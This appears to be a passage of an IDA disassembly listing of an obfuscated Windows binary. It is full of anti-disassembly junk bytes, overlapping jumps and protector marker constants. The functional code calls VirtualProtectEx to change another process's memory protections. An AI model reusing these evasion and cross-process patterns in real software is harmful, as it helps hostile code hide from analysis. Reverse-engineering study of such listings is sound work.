		mov	eax, [ebp-0E8h]
		and	eax, 0FFh
		neg	eax
		sbb	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	64h
		call	dword_4ED1A4	; Sleep
		mov	byte ptr [ebp-0E8h], 1
		mov	dword ptr [ebp-4], 0FFFFFFFFh ;	CODE XREF: .text:004BC183j
		jmp	loc_4B9C4E
; ---------------------------------------------------------------------------


loc_4BC11F:				; CODE XREF: .text:004BC0EEj
		mov	eax, dword_4F4764
		push	eax
		call	dword_4ED0D4	; UnmapViewOfFile
		mov	dword_4F4764, 0
		mov	ecx, [ebp-104h]
		push	ecx
		call	dword_4ED0E8	; CloseHandle
		mov	dword ptr [ebp-104h], 0FFFFFFFFh
		mov	al, 1


loc_4BC14E:				; CODE XREF: .text:004B8D08j
					; .text:004B995Aj ...
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx	; CODE XREF: .text:loc_4BC1CAj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4BC15F:				; CODE XREF: .text:004BA1BCp
					; .text:004BA290p ...
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	eax
		not	eax
		bswap	eax
		pop	eax
		jnb	short $+2
		pushf
		pusha
		jmp	short loc_4BC19F ; CODE	XREF: .text:loc_4BC19Fj
; ---------------------------------------------------------------------------
		sal	byte ptr [eax+0Eh], cl


loc_4BC177:				; CODE XREF: .text:004BC198j
		jmp	short loc_4BC196
; ---------------------------------------------------------------------------


loc_4BC179:				; CODE XREF: .text:loc_4BC196j
		xor	ecx, ecx


loc_4BC17B:				; CODE XREF: .text:004BC18Aj
		jz	short $+2
		jmp	short loc_4BC18F
; ---------------------------------------------------------------------------


loc_4BC17F:				; CODE XREF: .text:004BC193j
		stc
		xor	ecx, 3
		jz	short near ptr loc_4BC113+2
		jmp	short loc_4BC18C
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_4BC188:				; CODE XREF: .text:loc_4BC18Cj
		jmp	short loc_4BC19A
; ---------------------------------------------------------------------------
		jz	short loc_4BC17B


loc_4BC18C:				; CODE XREF: .text:004BC185j
		jnb	short loc_4BC188
; ---------------------------------------------------------------------------
		db 0F2h
; ---------------------------------------------------------------------------


loc_4BC18F:				; CODE XREF: .text:004BC17Dj
		sbb	bl, bl
		xor	ebx, ebx
		jmp	short loc_4BC17F
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4BC196:				; CODE XREF: .text:loc_4BC177j
					; .text:004BC204j
		jmp	short loc_4BC179
; ---------------------------------------------------------------------------
		jmp	short loc_4BC177
; ---------------------------------------------------------------------------


loc_4BC19A:				; CODE XREF: .text:loc_4BC188j
		repne sbb al, 0DBh
		jmp	short loc_4BC1A2
; ---------------------------------------------------------------------------


loc_4BC19F:				; CODE XREF: .text:004BC172j
		jmp	short near ptr loc_4BC172+1
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_4BC1A2:				; CODE XREF: .text:004BC19Dj
		popa
		popf
		bswap	eax
		not	ecx
		bswap	eax
		not	ecx
		pusha
		xor	eax, eax
		jnz	short loc_4BC1B3
		jmp	short loc_4BC1C8
; ---------------------------------------------------------------------------


loc_4BC1B3:				; CODE XREF: .text:004BC1AFj
		jmp	short loc_4BC1E8
; ---------------------------------------------------------------------------
		db 0C0h, 75h, 18h
		db 7Ah,	0Ch
; ---------------------------------------------------------------------------


loc_4BC1BA:				; CODE XREF: .text:loc_4BC1C8j
		jo	short loc_4BC1CA
		jmp	short near ptr loc_4BC1CA+1
; ---------------------------------------------------------------------------
		dw 72E8h
		dd 0FFF1790Eh, 9790015h
; ---------------------------------------------------------------------------


loc_4BC1C8:				; CODE XREF: .text:004BC1B1j
		jz	short loc_4BC1BA


loc_4BC1CA:				; CODE XREF: .text:loc_4BC1BAj
					; .text:004BC1BCj
		jmp	short near ptr loc_4BC151+2
; ---------------------------------------------------------------------------
		fstp	tbyte ptr [edx-10h]
		mov	al, ds:458B6133h
		or	[ebx+4F47740Dh], cl
		add	[ebx-1D7C7EECh], cl
		add	[ebp-157BF02Eh], eax
		add	eax, [eax]


loc_4BC1E8:				; CODE XREF: .text:loc_4BC1B3j
		add	[eax-9], dl
		ror	byte ptr [edi],	1
		enter	7358h, 0
		pushf
		pusha
		jmp	short loc_4BC220 ; CODE	XREF: .text:loc_4BC220j
; ---------------------------------------------------------------------------
		sal	byte ptr [eax+0Eh], cl


loc_4BC1F8:				; CODE XREF: .text:004BC219j
		jmp	short loc_4BC217
; ---------------------------------------------------------------------------


loc_4BC1FA:				; CODE XREF: .text:loc_4BC217j
		xor	ecx, ecx


loc_4BC1FC:				; CODE XREF: .text:004BC20Bj
		jz	short $+2
		jmp	short loc_4BC210
; ---------------------------------------------------------------------------


loc_4BC200:				; CODE XREF: .text:004BC214j
		stc
		xor	ecx, 3
		jz	short loc_4BC196
		jmp	short loc_4BC20D
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_4BC209:				; CODE XREF: .text:loc_4BC20Dj
		jmp	short loc_4BC21B
; ---------------------------------------------------------------------------
		jz	short loc_4BC1FC


loc_4BC20D:				; CODE XREF: .text:004BC206j
		jnb	short loc_4BC209
; ---------------------------------------------------------------------------
		db 0F2h
; ---------------------------------------------------------------------------


loc_4BC210:				; CODE XREF: .text:004BC1FEj
		sbb	bl, bl
		xor	ebx, ebx
		jmp	short loc_4BC200
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4BC217:				; CODE XREF: .text:loc_4BC1F8j
		jmp	short loc_4BC1FA
; ---------------------------------------------------------------------------
		jmp	short loc_4BC1F8
; ---------------------------------------------------------------------------


loc_4BC21B:				; CODE XREF: .text:loc_4BC209j
		repne sbb al, 0DBh
		jmp	short loc_4BC223
; ---------------------------------------------------------------------------


loc_4BC220:				; CODE XREF: .text:004BC1F3j
		jmp	short near ptr loc_4BC1F3+1
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_4BC223:				; CODE XREF: .text:004BC21Ej
		popa
		popf
		bswap	eax
		not	ecx
		bswap	eax
		not	ecx
		mov	eax, [ebp+10h]
		and	eax, 0FFh
		test	eax, eax
		jz	loc_4BC3E7
		jo	short loc_4BC246
		jl	short loc_4BC244


loc_4BC241:				; CODE XREF: .text:loc_4BC244j
					; .text:loc_4BC246j
		jmp	short loc_4BC248
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4BC244:				; CODE XREF: .text:004BC23Fj
		jz	short loc_4BC241


loc_4BC246:				; CODE XREF: .text:004BC23Dj
		jmp	short loc_4BC241
; ---------------------------------------------------------------------------


loc_4BC248:				; CODE XREF: .text:loc_4BC241j
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
		mov	eax, 6C65696Dh
		xchg	eax, ecx
		mov	ecx, 0DEADC0DEh
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		pushf
		pusha
		xor	ebx, ebx
		jz	short loc_4BC26B


loc_4BC268:				; CODE XREF: .text:004BC289j
		jmp	short near ptr loc_4BC28B+1
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BC26B:				; CODE XREF: .text:004BC266j
		xor	ebx, ebx
		jz	short $+2
		jmp	short loc_4BC27E
; ---------------------------------------------------------------------------
		db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------


loc_4BC274:				; CODE XREF: .text:004BC280j
		mov	ecx, 34F9C987h
		nop
		stc
		jz	short loc_4BC282
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BC27E:				; CODE XREF: .text:004BC26Fj
		xor	eax, eax
		jz	short loc_4BC274


loc_4BC282:				; CODE XREF: .text:004BC27Bj
		mov	eax, 4840C987h
		test	eax, eax
		jnz	short loc_4BC268


loc_4BC28B:				; CODE XREF: .text:loc_4BC268j
		jmp	near ptr 92B25FF1h
; ---------------------------------------------------------------------------
		xchg	ax, dx
		mov	eax, eax
		mov	dword ptr [ebp-8], 0
		mov	ecx, dword_4F4770
		mov	[ebp-4], ecx
		jmp	short loc_4BC2B8
; ---------------------------------------------------------------------------


loc_4BC2A6:				; CODE XREF: .text:loc_4BC2CFj
		mov	edx, [ebp-8]
		add	edx, 1
		mov	[ebp-8], edx
		mov	eax, [ebp-4]
		add	eax, 4
		mov	[ebp-4], eax


loc_4BC2B8:				; CODE XREF: .text:004BC2A4j
		mov	ecx, [ebp-8]
		cmp	ecx, dword_4F476C
		jge	short loc_4BC2D1
		mov	edx, [ebp-4]
		mov	eax, [edx]
		cmp	eax, [ebp+8]
		jnz	short loc_4BC2CF
		jmp	short loc_4BC2D1
; ---------------------------------------------------------------------------


loc_4BC2CF:				; CODE XREF: .text:004BC2CBj
		jmp	short loc_4BC2A6
; ---------------------------------------------------------------------------


loc_4BC2D1:				; CODE XREF: .text:004BC2C1j
					; .text:004BC2CDj
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
; ---------------------------------------------------------------------------
		db 0B8h, 6Dh, 69h
		db 65h
; ---------------------------------------------------------------------------


loc_4BC2DD:				; CODE XREF: .text:loc_4BC354j
		insb
		xchg	eax, ecx
		mov	ecx, 0DEADC0DEh
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		pushf
		pusha
		xor	ebx, ebx
		jz	short loc_4BC2F4


loc_4BC2F1:				; CODE XREF: .text:004BC312j
		jmp	short near ptr loc_4BC314+1
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BC2F4:				; CODE XREF: .text:004BC2EFj
		xor	ebx, ebx
		jz	short $+2
		jmp	short loc_4BC307
; ---------------------------------------------------------------------------
		dw 0EBB8h
		db 0Fh
; ---------------------------------------------------------------------------


loc_4BC2FD:				; CODE XREF: .text:004BC309j
		mov	ecx, 34F9C987h
		nop
		stc
		jz	short loc_4BC30B
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BC307:				; CODE XREF: .text:004BC2F8j
		xor	eax, eax
		jz	short loc_4BC2FD


loc_4BC30B:				; CODE XREF: .text:004BC304j
		mov	eax, 4840C987h
		test	eax, eax
		jnz	short loc_4BC2F1


loc_4BC314:				; CODE XREF: .text:loc_4BC2F1j
		jmp	near ptr 92B2607Ah
; ---------------------------------------------------------------------------
		db 66h,	92h, 8Bh
		dd 0F87D83C0h, 0AE8E0F00h, 8B000000h
; ---------------------------------------------------------------------------


loc_4BC328:				; CODE XREF: .text:004BC396j
		dec	ebp
		clc
		cmp	ecx, dword_4F476C
		jge	loc_4BC3D5
		pusha
		xor	eax, eax
		jnz	short loc_4BC33D
		jmp	short loc_4BC352
; ---------------------------------------------------------------------------


loc_4BC33D:				; CODE XREF: .text:004BC339j
		jmp	short loc_4BC372
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0C7A1875h
; ---------------------------------------------------------------------------


loc_4BC344:				; CODE XREF: .text:loc_4BC352j
		jo	short loc_4BC354
		jmp	short near ptr loc_4BC354+1
; ---------------------------------------------------------------------------
		dd 790E72E8h, 15FFF1h
; ---------------------------------------------------------------------------
		jns	short loc_4BC35B


loc_4BC352:				; CODE XREF: .text:004BC33Bj
		jz	short loc_4BC344


loc_4BC354:				; CODE XREF: .text:loc_4BC344j
					; .text:004BC346j
		jmp	short loc_4BC2DD
; ---------------------------------------------------------------------------
		dw 7ADBh
		db 0F0h, 0A0h, 33h
; ---------------------------------------------------------------------------


loc_4BC35B:				; CODE XREF: .text:004BC350j
		popa
		mov	edx, [ebp-8]
		shl	edx, 2
		push	edx
		mov	eax, dword_4F4770
		push	eax
		mov	ecx, dword_4F4770
		add	ecx, 4


loc_4BC372:				; CODE XREF: .text:loc_4BC33Dj
		push	ecx
		call	_memcpy_2
		add	esp, 0Ch
		push	eax
		not	eax
		bswap	eax
		pop	eax
		jnb	short $+2
		pushf
		pusha
		jmp	short loc_4BC3B2 ; CODE	XREF: .text:loc_4BC3B2j
; ---------------------------------------------------------------------------
		sal	byte ptr [eax+0Eh], cl


loc_4BC38A:				; CODE XREF: .text:004BC3ABj
		jmp	short loc_4BC3A9
; ---------------------------------------------------------------------------


loc_4BC38C:				; CODE XREF: .text:loc_4BC3A9j
		xor	ecx, ecx


loc_4BC38E:				; CODE XREF: .text:004BC39Dj
		jz	short $+2
		jmp	short near ptr loc_4BC3A1+1
; ---------------------------------------------------------------------------


loc_4BC392:				; CODE XREF: .text:004BC3A6j
		stc
		xor	ecx, 3
		jz	short loc_4BC328
		jmp	short loc_4BC39F
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_4BC39B:				; CODE XREF: .text:loc_4BC39Fj
		jmp	short loc_4BC3AD
; ---------------------------------------------------------------------------
		jz	short loc_4BC38E


loc_4BC39F:				; CODE XREF: .text:004BC398j
		jnb	short loc_4BC39B


loc_4BC3A1:				; CODE XREF: .text:loc_4BC418j
					; .text:004BC390j
		repne sbb bl, bl
		xor	ebx, ebx
		jmp	short loc_4BC392
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4BC3A9:				; CODE XREF: .text:loc_4BC38Aj
		jmp	short loc_4BC38C
; ---------------------------------------------------------------------------
		jmp	short loc_4BC38A
; ---------------------------------------------------------------------------


loc_4BC3AD:				; CODE XREF: .text:loc_4BC39Bj
		repne sbb al, 0DBh
		jmp	short loc_4BC3B5
; ---------------------------------------------------------------------------


loc_4BC3B2:				; CODE XREF: .text:004BC385j
		jmp	short near ptr loc_4BC385+1
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_4BC3B5:				; CODE XREF: .text:004BC3B0j
		popa
		popf
		bswap	eax
		not	ecx
		bswap	eax
		not	ecx
		mov	edx, dword_4F4770
		mov	eax, [ebp+8]
		mov	[edx], eax
		jo	short loc_4BC3D3
		jl	short loc_4BC3D1


loc_4BC3CE:				; CODE XREF: .text:loc_4BC3D1j
					; .text:loc_4BC3D3j
		jmp	short loc_4BC3D5
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4BC3D1:				; CODE XREF: .text:004BC3CCj
		jz	short loc_4BC3CE


loc_4BC3D3:				; CODE XREF: .text:004BC3CAj
		jmp	short loc_4BC3CE
; ---------------------------------------------------------------------------


loc_4BC3D5:				; CODE XREF: .text:004BC330j
					; .text:loc_4BC3CEj
		jo	short loc_4BC3DE
		jl	short loc_4BC3DC


loc_4BC3D9:				; CODE XREF: .text:loc_4BC3DCj
					; .text:loc_4BC3DEj
		jmp	short loc_4BC3E0
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4BC3DC:				; CODE XREF: .text:004BC3D7j
		jz	short loc_4BC3D9


loc_4BC3DE:				; CODE XREF: .text:loc_4BC3D5j
		jmp	short loc_4BC3D9
; ---------------------------------------------------------------------------


loc_4BC3E0:				; CODE XREF: .text:loc_4BC3D9j
		mov	al, 1
		jmp	loc_4BC923
; ---------------------------------------------------------------------------


loc_4BC3E7:				; CODE XREF: .text:004BC237j
		xor	ecx, ecx
		mov	cl, byte_4F4780
		test	ecx, ecx
		jz	short loc_4BC3FA
		xor	al, al
		jmp	loc_4BC923
; ---------------------------------------------------------------------------


loc_4BC3FA:				; CODE XREF: .text:004BC3F1j
		pusha
		xor	eax, eax
		jnz	short loc_4BC401
		jmp	short loc_4BC416
; ---------------------------------------------------------------------------


loc_4BC401:				; CODE XREF: .text:004BC3FDj
		jmp	short loc_4BC436
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0C7A1875h
; ---------------------------------------------------------------------------


loc_4BC408:				; CODE XREF: .text:loc_4BC416j
		jo	short loc_4BC418
		jmp	short near ptr loc_4BC418+1
; ---------------------------------------------------------------------------
		dd 790E72E8h, 15FFF1h
; ---------------------------------------------------------------------------
		jns	short loc_4BC41F


loc_4BC416:				; CODE XREF: .text:004BC3FFj
		jz	short loc_4BC408


loc_4BC418:				; CODE XREF: .text:loc_4BC408j
					; .text:004BC40Aj
		jmp	short loc_4BC3A1
; ---------------------------------------------------------------------------
		dw 7ADBh
		db 0F0h, 0A0h, 33h
; ---------------------------------------------------------------------------


loc_4BC41F:				; CODE XREF: .text:004BC414j
		popa
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
		mov	eax, 6C65696Dh	; CODE XREF: .text:004BC497j
		xchg	eax, ecx
		mov	ecx, 0DEADC0DEh
		xchg	eax, ecx
		not	eax


loc_4BC436:				; CODE XREF: .text:loc_4BC401j
		pop	eax
		not	ecx
		pop	ecx
		pushf
		pusha
		xor	ebx, ebx
		jz	short loc_4BC443


loc_4BC440:				; CODE XREF: .text:004BC461j
		jmp	short near ptr loc_4BC463+1
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BC443:				; CODE XREF: .text:004BC43Ej
		xor	ebx, ebx
		jz	short $+2
		jmp	short loc_4BC456
; ---------------------------------------------------------------------------
		db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------


loc_4BC44C:				; CODE XREF: .text:004BC458j
		mov	ecx, 34F9C987h
		nop
		stc
		jz	short loc_4BC45A
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BC456:				; CODE XREF: .text:004BC447j
		xor	eax, eax
		jz	short loc_4BC44C


loc_4BC45A:				; CODE XREF: .text:004BC453j
		mov	eax, 4840C987h
		test	eax, eax
		jnz	short loc_4BC440


loc_4BC463:				; CODE XREF: .text:loc_4BC440j
		jmp	near ptr 92B261C9h
; ---------------------------------------------------------------------------
		xchg	ax, dx
		mov	eax, eax
		mov	edx, [ebp+8]
		shl	edx, 0Ch
		mov	eax, dword_4F4754
		add	eax, edx
		mov	[ebp-10h], eax
		push	eax
		not	eax
		bswap	eax
		pop	eax
		jnb	short $+2
		pushf
		pusha
		jmp	short loc_4BC4B3 ; CODE	XREF: .text:loc_4BC4B3j
; ---------------------------------------------------------------------------
		sal	byte ptr [eax+0Eh], cl


loc_4BC48B:				; CODE XREF: .text:004BC4ACj
		jmp	short loc_4BC4AA
; ---------------------------------------------------------------------------


loc_4BC48D:				; CODE XREF: .text:loc_4BC4AAj
		xor	ecx, ecx


loc_4BC48F:				; CODE XREF: .text:004BC49Ej
		jz	short $+2
		jmp	short loc_4BC4A3
; ---------------------------------------------------------------------------


loc_4BC493:				; CODE XREF: .text:004BC4A7j
		stc
		xor	ecx, 3
		jz	short near ptr loc_4BC428+1
		jmp	short loc_4BC4A0
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_4BC49C:				; CODE XREF: .text:loc_4BC4A0j
		jmp	short loc_4BC4AE
; ---------------------------------------------------------------------------
		jz	short loc_4BC48F


loc_4BC4A0:				; CODE XREF: .text:004BC499j
		jnb	short loc_4BC49C
; ---------------------------------------------------------------------------
		db 0F2h
; ---------------------------------------------------------------------------


loc_4BC4A3:				; CODE XREF: .text:004BC491j
		sbb	bl, bl
		xor	ebx, ebx
		jmp	short loc_4BC493
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4BC4AA:				; CODE XREF: .text:loc_4BC48Bj
		jmp	short loc_4BC48D
; ---------------------------------------------------------------------------
		jmp	short loc_4BC48B
; ---------------------------------------------------------------------------


loc_4BC4AE:				; CODE XREF: .text:loc_4BC49Cj
		repne sbb al, 0DBh
		jmp	short loc_4BC4B6
; ---------------------------------------------------------------------------


loc_4BC4B3:				; CODE XREF: .text:004BC486j
		jmp	short near ptr loc_4BC486+1
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_4BC4B6:				; CODE XREF: .text:004BC4B1j
		popa
		popf
		bswap	eax
		not	ecx
		bswap	eax
		not	ecx
		mov	dword ptr [ebp-14h], 0
		mov	dword ptr [ebp-0Ch], 0
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
		mov	eax, 6C65696Dh
		xchg	eax, ecx
		mov	ecx, 0DEADC0DEh
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		pushf
		pusha
		xor	ebx, ebx
		jz	short loc_4BC4F1


loc_4BC4EE:				; CODE XREF: .text:004BC50Fj
					; .text:004BC55Dj
		jmp	short near ptr loc_4BC511+1
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BC4F1:				; CODE XREF: .text:004BC4ECj
		xor	ebx, ebx
		jz	short $+2
		jmp	short loc_4BC504
; ---------------------------------------------------------------------------
		db 0B8h
		db 0EBh, 0Fh
; ---------------------------------------------------------------------------


loc_4BC4FA:				; CODE XREF: .text:004BC506j
		mov	ecx, 34F9C987h
		nop
		stc
		jz	short loc_4BC508
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BC504:				; CODE XREF: .text:004BC4F5j
		xor	eax, eax
		jz	short loc_4BC4FA


loc_4BC508:				; CODE XREF: .text:004BC501j
		mov	eax, 4840C987h
		test	eax, eax
		jnz	short loc_4BC4EE


loc_4BC511:				; CODE XREF: .text:loc_4BC4EEj
		jmp	near ptr 92B26277h
; ---------------------------------------------------------------------------
		xchg	ax, dx
		mov	eax, eax
		jo	short loc_4BC523
		jl	short loc_4BC521


loc_4BC51E:				; CODE XREF: .text:loc_4BC521j
					; .text:loc_4BC523j
		jmp	short loc_4BC525
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4BC521:				; CODE XREF: .text:004BC51Cj
		jz	short loc_4BC51E


loc_4BC523:				; CODE XREF: .text:004BC51Aj
		jmp	short loc_4BC51E
; ---------------------------------------------------------------------------


loc_4BC525:				; CODE XREF: .text:loc_4BC51Ej
		lea	ecx, [ebp-14h]
		push	ecx
		push	4
		push	1000h
		mov	edx, [ebp-10h]
		push	edx
		mov	eax, dword_4F4750
		mov	ecx, [eax]
		push	ecx
		call	dword_4ED110	; VirtualProtectEx
		push	eax
		not	eax
		bswap	eax
		pop	eax
		jnb	short $+2
		pushf
		pusha
		jmp	short loc_4BC579 ; CODE	XREF: .text:loc_4BC579j
					; .text:loc_4BC5C4j
; ---------------------------------------------------------------------------
		sal	byte ptr [eax+0Eh], cl


loc_4BC551:				; CODE XREF: .text:004BC572j
		jmp	short loc_4BC570
; ---------------------------------------------------------------------------


loc_4BC553:				; CODE XREF: .text:loc_4BC570j
		xor	ecx, ecx


loc_4BC555:				; CODE XREF: .text:004BC564j
		jz	short $+2
		jmp	short loc_4BC569
; ---------------------------------------------------------------------------


loc_4BC559:				; CODE XREF: .text:004BC56Dj
		stc
		xor	ecx, 3
		jz	short near ptr loc_4BC4EE+1
		jmp	short loc_4BC566
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_4BC562:				; CODE XREF: .text:loc_4BC566j
		jmp	short loc_4BC574
; ---------------------------------------------------------------------------
		jz	short loc_4BC555


loc_4BC566:				; CODE XREF: .text:004BC55Fj
		jnb	short loc_4BC562
; ---------------------------------------------------------------------------
		db 0F2h
; ---------------------------------------------------------------------------


loc_4BC569:				; CODE XREF: .text:004BC557j
		sbb	bl, bl
		xor	ebx, ebx
		jmp	short loc_4BC559
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4BC570:				; CODE XREF: .text:loc_4BC551j
		jmp	short loc_4BC553
; ---------------------------------------------------------------------------
		jmp	short loc_4BC551
; ---------------------------------------------------------------------------


loc_4BC574:				; CODE XREF: .text:loc_4BC562j
		repne sbb al, 0DBh
		jmp	short loc_4BC57C
; ---------------------------------------------------------------------------


loc_4BC579:				; CODE XREF: .text:004BC54Cj
		jmp	short near ptr loc_4BC54C+1
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_4BC57C:				; CODE XREF: .text:004BC577j
		popa
		popf
		bswap	eax
		not	ecx
		bswap	eax
		not	ecx
		lea	edx, [ebp-0Ch]
		push	edx
		mov	eax, [ebp-14h]
		push	eax
		push	1000h
		mov	ecx, [ebp-10h]
		push	ecx
		mov	edx, dword_4F4750
		mov	eax, [edx]
		push	eax
		call	dword_4ED110	; CODE XREF: .text:004BC610j
		pusha
		xor	eax, eax
		jnz	short loc_4BC5AD
		jmp	short loc_4BC5C2
; ---------------------------------------------------------------------------


loc_4BC5AD:				; CODE XREF: .text:004BC5A9j
		jmp	short loc_4BC5E2
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0C7A1875h
; ---------------------------------------------------------------------------


loc_4BC5B4:				; CODE XREF: .text:loc_4BC5C2j
		jo	short loc_4BC5C4
		jmp	short near ptr loc_4BC5C4+1
; ---------------------------------------------------------------------------
		dd 790E72E8h, 15FFF1h
; ---------------------------------------------------------------------------
		jns	short loc_4BC5CB


loc_4BC5C2:				; CODE XREF: .text:004BC5ABj
		jz	short loc_4BC5B4


loc_4BC5C4:				; CODE XREF: .text:loc_4BC5B4j
					; .text:004BC5B6j
		jmp	short near ptr loc_4BC54C+1
; ---------------------------------------------------------------------------
		dw 7ADBh
		db 0F0h, 0A0h, 33h
; ---------------------------------------------------------------------------


loc_4BC5CB:				; CODE XREF: .text:004BC5C0j
		popa
		mov	al, 1
		jmp	loc_4BC923
; ---------------------------------------------------------------------------
		push	0
		mov	ecx, [ebp+0Ch]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		call	loc_4BC92A	; CODE XREF: .text:loc_4BC657j


loc_4BC5E2:				; CODE XREF: .text:loc_4BC5ADj
		add	esp, 0Ch
		and	eax, 0FFh
		test	eax, eax
		jnz	short loc_4BC5F5
		xor	al, al
		jmp	loc_4BC923
; ---------------------------------------------------------------------------


loc_4BC5F5:				; CODE XREF: .text:004BC5ECj
		push	eax
		not	eax
		bswap	eax
		pop	eax
		jnb	short $+2
		pushf
		pusha
		jmp	short loc_4BC62C ; CODE	XREF: .text:loc_4BC62Cj
; ---------------------------------------------------------------------------
		sal	byte ptr [eax+0Eh], cl


loc_4BC604:				; CODE XREF: .text:004BC625j
		jmp	short loc_4BC623
; ---------------------------------------------------------------------------


loc_4BC606:				; CODE XREF: .text:loc_4BC623j
		xor	ecx, ecx


loc_4BC608:				; CODE XREF: .text:004BC617j
		jz	short $+2
		jmp	short loc_4BC61C
; ---------------------------------------------------------------------------


loc_4BC60C:				; CODE XREF: .text:004BC620j
		stc
		xor	ecx, 3
		jz	short near ptr loc_4BC5A0+2
		jmp	short loc_4BC619
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_4BC615:				; CODE XREF: .text:loc_4BC619j
		jmp	short loc_4BC627
; ---------------------------------------------------------------------------
		jz	short loc_4BC608


loc_4BC619:				; CODE XREF: .text:004BC612j
		jnb	short loc_4BC615
; ---------------------------------------------------------------------------
		db 0F2h
; ---------------------------------------------------------------------------


loc_4BC61C:				; CODE XREF: .text:004BC60Aj
		sbb	bl, bl
		xor	ebx, ebx
		jmp	short loc_4BC60C
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4BC623:				; CODE XREF: .text:loc_4BC604j
		jmp	short loc_4BC606
; ---------------------------------------------------------------------------
		jmp	short loc_4BC604
; ---------------------------------------------------------------------------


loc_4BC627:				; CODE XREF: .text:loc_4BC615j
		repne sbb al, 0DBh
		jmp	short loc_4BC62F
; ---------------------------------------------------------------------------


loc_4BC62C:				; CODE XREF: .text:004BC5FFj
		jmp	short near ptr loc_4BC5FF+1
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_4BC62F:				; CODE XREF: .text:004BC62Aj
		popa
		popf
		bswap	eax
		not	ecx
		bswap	eax
		not	ecx
		pusha
		xor	eax, eax
		jnz	short loc_4BC640
		jmp	short loc_4BC655
; ---------------------------------------------------------------------------


loc_4BC640:				; CODE XREF: .text:004BC63Cj
		jmp	short loc_4BC675
; ---------------------------------------------------------------------------
		dw 75C0h
; ---------------------------------------------------------------------------
		sbb	[edx+0Ch], bh


loc_4BC647:				; CODE XREF: .text:loc_4BC655j
		jo	short loc_4BC657
		jmp	short near ptr loc_4BC657+1
; ---------------------------------------------------------------------------
		db 0E8h
		dd 0F1790E72h, 790015FFh
		db 9
; ---------------------------------------------------------------------------


loc_4BC655:				; CODE XREF: .text:004BC63Ej
		jz	short loc_4BC647


loc_4BC657:				; CODE XREF: .text:loc_4BC647j
					; .text:004BC649j
		jmp	short near ptr loc_4BC5DD+3
; ---------------------------------------------------------------------------
		fstp	tbyte ptr [edx-10h]
		mov	al, ds:6CA16133h
		inc	edi
		dec	edi
		add	[ebx+6CA301C0h], al
		inc	edi
		dec	edi
		add	[eax+7], dh
		jl	short loc_4BC673


loc_4BC670:				; CODE XREF: .text:loc_4BC673j
					; .text:loc_4BC675j
		jmp	short loc_4BC677
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4BC673:				; CODE XREF: .text:004BC66Ej
		jz	short loc_4BC670


loc_4BC675:				; CODE XREF: .text:loc_4BC640j
		jmp	short loc_4BC670
; ---------------------------------------------------------------------------


loc_4BC677:				; CODE XREF: .text:loc_4BC670j
		mov	ecx, dword_4F4768
		lea	edx, ds:0FFFFFFFCh[ecx*4]
		push	edx
		mov	eax, dword_4F4770
		push	eax
		mov	ecx, dword_4F4770
		add	ecx, 4
		push	ecx
		call	_memcpy_2
		add	esp, 0Ch	; CODE XREF: .text:loc_4BC712j
		push	ecx
